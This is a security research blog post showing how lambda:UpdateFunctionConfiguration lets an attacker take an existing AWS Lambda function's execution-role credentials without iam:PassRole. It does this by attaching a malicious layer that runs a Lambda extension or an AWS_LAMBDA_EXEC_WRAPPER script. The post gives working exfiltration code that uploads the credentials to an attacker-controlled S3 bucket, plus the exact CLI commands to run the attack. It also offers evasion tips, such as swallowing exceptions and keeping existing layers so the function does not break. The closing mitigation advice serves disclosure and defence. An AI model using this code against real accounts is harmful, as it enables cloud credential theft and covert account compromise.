Every IAM review has a ritual the secret societies don’t want you to know. You list the identities, grab all their policies, and eventually ask: does this principal have iam:PassRole? If not, it can’t assign a role to a resource. It can’t bootstrap something that runs as an elevated identity. It should be fine.
lambda:UpdateFunctionConfiguration passes that test every time.
It’s a config permission. Timeouts. Memory limits. Environment variables. Layers. It can update the execution role too, but that requires iam:PassRole and you’d catch that. Without PassRole, the role is untouchable. Everything else is still fair game.
This post is about why that reasoning fails for Lambda, and what actually happens when you hand someone lambda:UpdateFunctionConfiguration on a function that already has a privileged execution role.
The layer attach technique has been around since Spencer Gietzen’s 2019 writeup and is catalogued on Hacking the Cloud. What isn’t covered anywhere is the PassRole assumption gap, or two specific mechanisms that don’t require overriding an existing library: Lambda extensions and AWS_LAMBDA_EXEC_WRAPPER. That’s what this post is about.
The PassRole assumption
iam:PassRole gates the act of assigning a role to a resource. To create a Lambda function with an execution role, you need PassRole. Launching an EC2 instance with an instance profile? PassRole. Standing up a Glue job, a SageMaker notebook, an ECS task? PassRole, PassRole, PassRole.
The mental model holds: if an attacker can’t pass a role, they can’t get a role’s credentials onto a resource they control. No credentials, no escalation.
The problem is that model only applies to new resources. For existing ones, the role is already there. Someone with PassRole put it there at deployment time. That ship sailed months ago.
If an attacker can make code run inside an existing Lambda function, they inherit whatever that function’s execution role can do. No PassRole check happens because no role is being assigned. The role assignment is a done deal.
The obvious way to do that is lambda:UpdateFunctionCode. Replace the handler with something malicious, invoke it, collect credentials. Pathfinding.Cloud documents several variations of this and most teams know to treat it as high risk.
So the question becomes: can lambda:UpdateFunctionConfiguration make code run inside an existing function without changing the handler?
Turns out, yes. Two ways. Neither requires overriding an existing library, unlike the library override technique that’s been in the literature since 2019.
Setup
For the experiments, I used a no-op Lambda function:
def handler(event, context):
return {"statusCode": 200}
The function has a privileged execution role with permissions like s3:GetObject, dynamodb:PutItem, secretsmanager:GetSecretValue. The attacker principal has one permission in the target account: lambda:UpdateFunctionConfiguration. No iam:PassRole. No lambda:UpdateFunctionCode. The malicious layer is published from the attacker’s own account and shared cross-account. Handler code is never touched.
The goal is to get the execution role credentials into an attacker-controlled S3 bucket.
Attempt 1: sitecustomize.py (doesn’t work)
The first idea is obvious if you know Python. The interpreter automatically executes sitecustomize.py during site initialisation, before any user code runs. Lambda layers mount their contents under /opt, and Lambda adds /opt/python to sys.path. Put a sitecustomize.py there and surely it runs?
It doesn’t.
Lambda’s Python bootstrap adds /opt/python to sys.path programmatically, after the interpreter has already started. Python’s site initialisation phase, which is when sitecustomize.py would be found and executed, happens earlier. By the time /opt/python is on the path, that window has closed.
I confirmed this empirically by publishing a layer with python/sitecustomize.py that wrote a marker file to /tmp, attached it to the function, invoked it, had the handler read back /tmp. The file was never created.
Worth knowing. Moving on.
Attempt 2: Lambda extensions (works)
Lambda extensions are the mechanism AWS built for APM agents, telemetry collectors, and security tools like AWS AppConfig. They run as separate processes inside the execution environment, alongside the handler. Lambda starts them during the Init phase and keeps them alive across invocations.
The way you ship an extension is by putting an executable file under extensions/ in a layer zip. Lambda discovers and launches anything it finds at /opt/extensions/ automatically. No function code change required. No imports. The function doesn’t even know the extension is there.
An external extension works like this: it calls the Lambda Extensions API to register, then loops calling GET /runtime/extensions/event/next. Lambda uses that loop to signal invocations and shutdowns to the extension. Between those signals, the function handler runs normally.
Here’s the relevant part of the malicious extension:
def register():
conn = http.client.HTTPConnection(os.environ["AWS_LAMBDA_RUNTIME_API"])
conn.request(
"POST",
"/2020-01-01/extension/register",
body=json.dumps({"events": ["INVOKE", "SHUTDOWN"]}),
headers={
"Content-Type": "application/json",
"Lambda-Extension-Name": "sidecar",
},
)
resp = conn.getresponse()
resp.read()
return resp.getheader("Lambda-Extension-Identifier")
def exfil():
creds = boto3.Session().get_credentials().get_frozen_credentials()
boto3.client("s3").put_object(
Bucket="attacker-exfil-bucket",
Key="creds.json",
Body=json.dumps({
"AccessKeyId": creds.access_key,
"SecretAccessKey": creds.secret_key,
"SessionToken": creds.token,
}),
)
ext_id = register()
exfil() # runs before handler, during Init
event_loop(ext_id)
The layer zip structure:
extensions/
sidecar # executable, chmod 755
Wrap the entire extension body in a try/except. If anything goes wrong (the exfil bucket doesn’t exist, boto3 can’t reach S3, a permissions error), you don’t want the extension to crash and take the function with it. Swallowing exceptions keeps the function running normally and avoids surfacing anything suspicious in logs.
The file permission matters. The zip entry needs external_attr = 0o755 << 16 or Lambda won’t execute it.
The attack, from the attacker’s account:
# Publish the layer in the attacker's account
aws lambda publish-layer-version \
--layer-name sidecar-util \
--zip-file fileb://malicious-layer.zip \
--compatible-runtimes python3.12
# Share it with the target account
aws lambda add-layer-version-permission \
--layer-name sidecar-util \
--version-number 1 \
--statement-id share \
--action lambda:GetLayerVersion \
--principal 123456789012Then in the target account, with only lambda:UpdateFunctionConfiguration:
aws lambda update-function-configuration \
--function-name target-function \
--layers arn:aws:lambda:us-east-1:999999999999:layer:sidecar-util:1
On the next invocation, the execution role credentials appeared in the exfil bucket. The handler returned {"statusCode": 200} as usual. The function had no idea.
Attempt 3: AWS_LAMBDA_EXEC_WRAPPER (also works)
AWS_LAMBDA_EXEC_WRAPPER is a reserved environment variable that tells the Lambda bootstrap to hand off to a wrapper executable before starting the runtime. It was designed for runtime wrappers like those used in observability tools. Lambda calls it as:
/opt/wrapper.sh /path/to/real/bootstrap [args...]The wrapper runs, does whatever it wants, then calls exec "$@" to pass control to the real bootstrap. It runs during the Init phase, so once per cold start.
#!/bin/bash
python3 -c "
import boto3, json, os
try:
creds = boto3.Session().get_credentials().get_frozen_credentials()
boto3.client('s3').put_object(
Bucket=os.environ['EXFIL_BUCKET'],
Key='wrapper_creds.json',
Body=json.dumps({
'AccessKeyId': creds.access_key,
'SecretAccessKey': creds.secret_key,
'SessionToken': creds.token,
})
)
except Exception:
pass
"
exec "$@"Layer structure:
/opt/wrapper.sh /path/to/real/bootstrap [args...]The attack sets both the layer and the env var in one call:
aws lambda update-function-configuration \
--function-name target-function \
--layers arn:aws:lambda:us-east-1:999999999999:layer:sidecar-util:1 \
--environment "Variables={EXFIL_BUCKET=attacker-bucket,AWS_LAMBDA_EXEC_WRAPPER=/opt/wrapper.sh}"
The result is credentials in the bucket on every cold start. No handler change, no PassRole.
The permissions picture
Both attacks require lambda:UpdateFunctionConfiguration in the target account. That’s it for the configuration change.
The malicious layer lives in the attacker’s own account. Publishing it there requires lambda:PublishLayerVersion, but that’s a permission in an account the attacker controls. It’s not something the target ever grants. Sharing the layer cross-account takes lambda:AddLayerVersionPermission, also in the attacker’s account. The target account sees nothing except the UpdateFunctionConfiguration call.
One thing the attacker does need: the function has to actually be invoked after the layer is attached. UpdateFunctionConfiguration alone doesn’t execute anything. In most cases that just means waiting: the function gets triggered by whatever normally triggers it. If the attacker also has lambda:InvokeFunction, they can trigger it themselves and don’t need to wait.
One practical wrinkle is that the --layers parameter is a full replacement, not an append. If the target function already has legitimate layers, you need to include their ARNs alongside the malicious one, or they get dropped. Dropping a dependency layer will likely break the function and create a visible incident.
The fix is a read call before the write. Any of these return the existing layer ARNs:
aws lambda get-function --function-name target-function \
--query 'Configuration.Layers[].Arn'
aws lambda get-function-configuration --function-name target-function \
--query 'Layers[].Arn'
aws lambda list-functions \
--query 'Functions[?FunctionName==`target-function`].Layers[].Arn'
Which requires lambda:GetFunction, lambda:GetFunctionConfiguration, or lambda:ListFunctions respectively. In practice at least one of these is usually granted for operational reasons. Once you have the existing ARNs, include them in the update call alongside the malicious layer.
Compare that to what most teams actually lock down: lambda:UpdateFunctionCode (obvious, changes the handler), lambda:CreateFunction (obvious, creates new functions). UpdateFunctionConfiguration tends to be treated as low-risk config hygiene. It’s neither.
What to do about it
Lock down lambda:UpdateFunctionConfiguration with the same care as lambda:UpdateFunctionCode. If you wouldn’t hand out the ability to replace a function’s handler, don’t hand out the ability to attach arbitrary layers to it. They’re equivalent.
Enable Lambda code signing. If all layers must be signed by a trusted profile before attaching, unsigned attacker-published layers get blocked. This is probably the highest-value control here.
Use the lambda:Layer condition key to restrict which layer ARNs a principal can attach:
{
"Effect": "Allow",
"Action": "lambda:UpdateFunctionConfiguration",
"Resource": "*",
"Condition": {
"ArnLike": {
"lambda:Layer": "arn:aws:lambda:*:123456789012:layer:approved-*"
}
}
}
Alert on these CloudTrail events:
UpdateFunctionConfigurationwhere the request includes aLayersfield change on a function with a privileged execution roleUpdateFunctionConfigurationwhereEnvironment.VariablescontainsAWS_LAMBDA_EXEC_WRAPPER
Least privilege on execution roles. If a function only needs to read from one S3 bucket, scope it to that bucket. The blast radius of a compromised function is directly proportional to how much its execution role can do.
If you forgot everything you just read
iam:PassRole is not the only path to a role’s credentials. It guards the assignment of a role. Once the role is assigned, you just need to run code under it.
lambda:UpdateFunctionConfiguration can get you there without a single code change to the function, without PassRole, and without touching the execution role. The function config is the attack surface. The execution role is the prize.
“No PassRole” is not “no risk.”


